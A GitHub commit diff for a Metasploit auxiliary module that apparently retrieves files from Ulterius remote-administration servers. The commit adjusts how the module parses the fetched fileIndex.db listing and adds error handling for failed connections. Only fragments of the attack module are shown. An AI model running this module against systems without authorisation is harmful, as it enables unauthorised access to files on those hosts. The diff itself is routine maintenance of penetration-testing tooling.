Skip to content

Commit 724a0e2

Browse files
committed
Update Parsing, Added Rescue
1 parent 1de8ec1 commit 724a0e2

File tree

1 file changed

+11
-6
lines changed

1 file changed

+11
-6
lines changed

modules/auxiliary/admin/http/ulterius_file_download.rb

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
require 'stringio'
33

44
class MetasploitModule < Msf::Auxiliary
5-
#Rank = ExcellentRanking
65
include Msf::Exploit::Remote::HttpClient
76

87
def initialize(info = {})
@@ -62,7 +61,7 @@ def inflate_parse(data)
6261
while index < parse_data.length
6362
index, filename = process_data(index, parse_data)
6463
index, directory = process_data(index, parse_data)
65-
remote_files += directory + '\\' + filename + "\n"
64+
remote_files << directory + '\\' + filename + "\n"
6665

6766
#skip FFFFFFFFFFFFFFFF
6867
index += 8
@@ -72,10 +71,16 @@ def inflate_parse(data)
7271
end
7372

7473
def run
75-
res = send_request_cgi({
76-
'uri' => normalize_uri(target_uri.path),
77-
'method' => 'GET'
78-
})
74+
begin
75+
res = send_request_cgi({
76+
'uri' => normalize_uri(target_uri.path),
77+
'method' => 'GET'
78+
})
79+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
80+
Rex::HostUnreachable, Errno::ECONNRESET => e
81+
vprint_error("Failed: #{e.class} - #{e.message}")
82+
return
83+
end
7984
if res && res.code == 200
8085
if target_uri.path =~ /fileIndex\.db/i
8186
inflate_parse(res.body)

0 commit comments

Comments
 (0)